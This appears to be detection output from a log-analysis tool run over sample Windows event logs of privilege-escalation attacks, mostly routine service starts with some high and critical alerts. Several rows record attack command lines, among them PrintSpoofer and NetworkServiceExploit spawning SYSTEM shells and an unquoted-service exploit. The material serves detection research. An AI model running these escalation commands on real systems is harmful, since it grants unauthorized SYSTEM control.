Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:19:26.536 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\LOCAL SERVICE : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:19:26.540 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s SysMain : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:19:26.542 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:19:26.558 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\LOCAL SERVICE : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:19:26.632 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:19:26.635 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\system32\dxgiadaptercache.exe : Path: C:\Windows\System32\dxgiadaptercache.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:19:26.642 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\system32\svchost.exe -k LocalService -p -s FontCache : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\LOCAL SERVICE : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:19:26.643 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:19:26.645 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\LOCAL SERVICE : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:19:26.652 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\LOCAL SERVICE : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:19:27.196 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\LOCAL SERVICE : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:19:27.198 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\LOCAL SERVICE : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:19:27.473 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\system32\svchost.exe -k LocalServiceNoNetworkFirewall -p : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\LOCAL SERVICE : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:19:27.484 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:19:27.583 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:19:27.764 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\NETWORK SERVICE : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:19:27.836 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\System32\svchost.exe -k NetSvcs -p -s iphlpsvc : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:19:27.838 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\NETWORK SERVICE : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:19:27.855 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:19:27.970 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\NETWORK SERVICE : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:19:28.014 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\System32\svchost.exe -k utcsvc -p : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:19:28.063 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\System32\svchost.exe -k LocalServiceNoNetwork -p -s DPS : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\LOCAL SERVICE : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:19:28.065 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:19:28.068 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\system32\svchost.exe -k LocalService -p -s SstpSvc : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\LOCAL SERVICE : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:19:28.079 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\system32\wlms\wlms.exe : Path: C:\Windows\System32\wlms\wlms.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:19:28.080 +09:00,MSEDGEWIN10,1,high,Process Creation Sysmon Rule Alert,Rule: PrivEsc - Potential Unquoted Service Exploit : Command: c:\Program Files\vulnsvc\mmm.exe : Path: C:\program.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/alerts/1_ProcessCreationSysmonAlert.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:19:28.086 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:19:28.096 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:19:28.465 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\System32\svchost.exe -k LocalService -p -s WdiServiceHost : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\LOCAL SERVICE : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:19:32.050 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: sihost.exe : Path: C:\Windows\System32\sihost.exe : User: MSEDGEWIN10\IEUser : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:19:32.058 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc : Path: C:\Windows\System32\svchost.exe : User: MSEDGEWIN10\IEUser : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:19:32.097 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s WpnUserService : Path: C:\Windows\System32\svchost.exe : User: MSEDGEWIN10\IEUser : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:19:32.358 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\LOCAL SERVICE : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:19:35.125 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\system32\userinit.exe : Path: C:\Windows\System32\userinit.exe : User: MSEDGEWIN10\IEUser : Parent Command: winlogon.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:19:35.236 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\Explorer.EXE : Path: C:\Windows\explorer.exe : User: MSEDGEWIN10\IEUser : Parent Command: C:\Windows\system32\userinit.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:19:37.209 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: rundll32.exe AppXDeploymentExtensions.OneCore.dll,ShellRefresh : Path: C:\Windows\System32\rundll32.exe : User: MSEDGEWIN10\IEUser : Parent Command: C:\Windows\system32\svchost.exe -k wsappx -p -s AppXSvc",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:19:40.692 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:19:40.712 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Program Files\WindowsApps\Microsoft.MicrosoftOfficeHub_18.2002.1101.0_x64__8wekyb3d8bbwe\LocalBridge.exe"" /InvokerPRAID: Microsoft.MicrosoftOfficeHub notifications : Path: C:\Program Files\WindowsApps\Microsoft.MicrosoftOfficeHub_18.2002.1101.0_x64__8wekyb3d8bbwe\LocalBridge.exe : User: MSEDGEWIN10\IEUser : Parent Command: C:\Windows\System32\RuntimeBroker.exe -Embedding",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:20:11.341 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\eventvwr.exe"" : Path: C:\Windows\System32\eventvwr.exe : User: MSEDGEWIN10\IEUser : Parent Command: C:\Windows\Explorer.EXE",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:20:11.402 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: consent.exe 6964 318 0000021FF2606500 : Path: C:\Windows\System32\consent.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:20:11.516 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\eventvwr.exe"" : Path: C:\Windows\System32\eventvwr.exe : User: MSEDGEWIN10\IEUser : Parent Command: C:\Windows\Explorer.EXE",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:20:16.073 +09:00,MSEDGEWIN10,1,high,Process Creation Sysmon Rule Alert,"Rule: Discovery - domain time : Command: ""C:\BGinfo\BGINFO.EXE"" /accepteula /ic:\bginfo\bgconfig.bgi /timer:0 : Path: C:\BGinfo\BGINFO.EXE : User: MSEDGEWIN10\IEUser : Parent Command: C:\Windows\Explorer.EXE",rules/hayabusa/sysmon/alerts/1_ProcessCreationSysmonAlert.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:20:16.165 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\system32\SecurityHealthService.exe : Path: C:\Windows\System32\SecurityHealthService.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:20:16.965 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Users\IEUser\AppData\Local\Microsoft\OneDrive\19.232.1124.0012\FileCoAuth.exe -Embedding : Path: C:\Users\IEUser\AppData\Local\Microsoft\OneDrive\19.232.1124.0012\FileCoAuth.exe : User: MSEDGEWIN10\IEUser : Parent Command: C:\Windows\system32\svchost.exe -k DcomLaunch -p,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:20:18.975 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Users\IEUser\AppData\Local\Microsoft\OneDrive\OneDrive.exe"" /background : Path: C:\Users\IEUser\AppData\Local\Microsoft\OneDrive\OneDrive.exe : User: MSEDGEWIN10\IEUser : Parent Command: C:\Windows\Explorer.EXE",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:20:21.251 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\regedit.exe"" : Path: C:\Windows\regedit.exe : User: MSEDGEWIN10\IEUser : Parent Command: C:\Windows\Explorer.EXE",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:20:21.263 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: consent.exe 6964 258 0000021FF266EC20 : Path: C:\Windows\System32\consent.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:20:26.261 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\regedit.exe"" : Path: C:\Windows\regedit.exe : User: MSEDGEWIN10\IEUser : Parent Command: C:\Windows\Explorer.EXE",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:21:08.564 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\LOCAL SERVICE : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:21:18.412 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\System32\svchost.exe -k NetworkService -p : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\NETWORK SERVICE : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:21:19.340 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\System32\svchost.exe -k NetworkService -p -s WinRM : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\NETWORK SERVICE : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:21:19.629 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s wscsvc : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\LOCAL SERVICE : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-05-03 03:01:54.855 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: PrintSpoofer.exe -i -c powershell.exe : Path: C:\Users\IEUser\Tools\PrivEsc\PrintSpoofer.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_seimpersonate_tosys_spoolsv_sysmon_17_18.evtx +2020-05-03 03:01:54.863 +09:00,MSEDGEWIN10,17,critical,EfsPotato Named Pipe,,rules/sigma/pipe_created/sysmon_efspotato_namedpipe.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_seimpersonate_tosys_spoolsv_sysmon_17_18.evtx +2020-05-03 03:01:54.864 +09:00,MSEDGEWIN10,18,critical,EfsPotato Named Pipe,,rules/sigma/pipe_created/sysmon_efspotato_namedpipe.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_seimpersonate_tosys_spoolsv_sysmon_17_18.evtx +2020-05-03 03:01:54.867 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: powershell.exe : Path: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe : User: NT AUTHORITY\SYSTEM : Parent Command: PrintSpoofer.exe -i -c powershell.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_seimpersonate_tosys_spoolsv_sysmon_17_18.evtx +2020-05-03 03:01:54.867 +09:00,MSEDGEWIN10,1,low,Non Interactive PowerShell,,rules/sigma/process_creation/win_non_interactive_powershell.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_seimpersonate_tosys_spoolsv_sysmon_17_18.evtx +2020-05-03 03:01:57.418 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\whoami.exe"" : Path: C:\Windows\System32\whoami.exe : User: NT AUTHORITY\SYSTEM : Parent Command: powershell.exe",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_seimpersonate_tosys_spoolsv_sysmon_17_18.evtx +2020-05-03 03:01:57.418 +09:00,MSEDGEWIN10,1,high,Run Whoami as SYSTEM,,rules/sigma/process_creation/win_whoami_as_system.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_seimpersonate_tosys_spoolsv_sysmon_17_18.evtx +2020-05-03 03:01:57.418 +09:00,MSEDGEWIN10,1,medium,Whoami Execution,,rules/sigma/process_creation/win_susp_whoami.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_seimpersonate_tosys_spoolsv_sysmon_17_18.evtx +2020-05-03 03:01:57.418 +09:00,MSEDGEWIN10,1,low,Local Accounts Discovery,,rules/sigma/process_creation/win_local_system_owner_account_discovery.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_seimpersonate_tosys_spoolsv_sysmon_17_18.evtx +2020-05-07 22:13:02.481 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""c:\Windows\System32\cmd.exe"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\ChangePk.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/UACME_61_Changepk.evtx +2020-05-10 09:09:36.635 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: NetworkServiceExploit.exe -i -c ""c:\Windows\System32\cmd.exe"" : Path: C:\Users\IEUser\Tools\PrivEsc\NetworkServiceExploit.exe : User: NT AUTHORITY\NETWORK SERVICE : Parent Command: ""cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/PrivEsc_Imperson_NetSvc_to_Sys_Decoder_Sysmon_1_17_18.evtx +2020-05-10 09:09:36.709 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: c:\Windows\System32\cmd.exe : Path: C:\Windows\System32\cmd.exe : User: NT AUTHORITY\SYSTEM : Parent Command: NetworkServiceExploit.exe -i -c ""c:\Windows\System32\cmd.exe""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/PrivEsc_Imperson_NetSvc_to_Sys_Decoder_Sysmon_1_17_18.evtx +2020-05-10 09:09:43.372 +09:00,MSEDGEWIN10,1,informational,Process 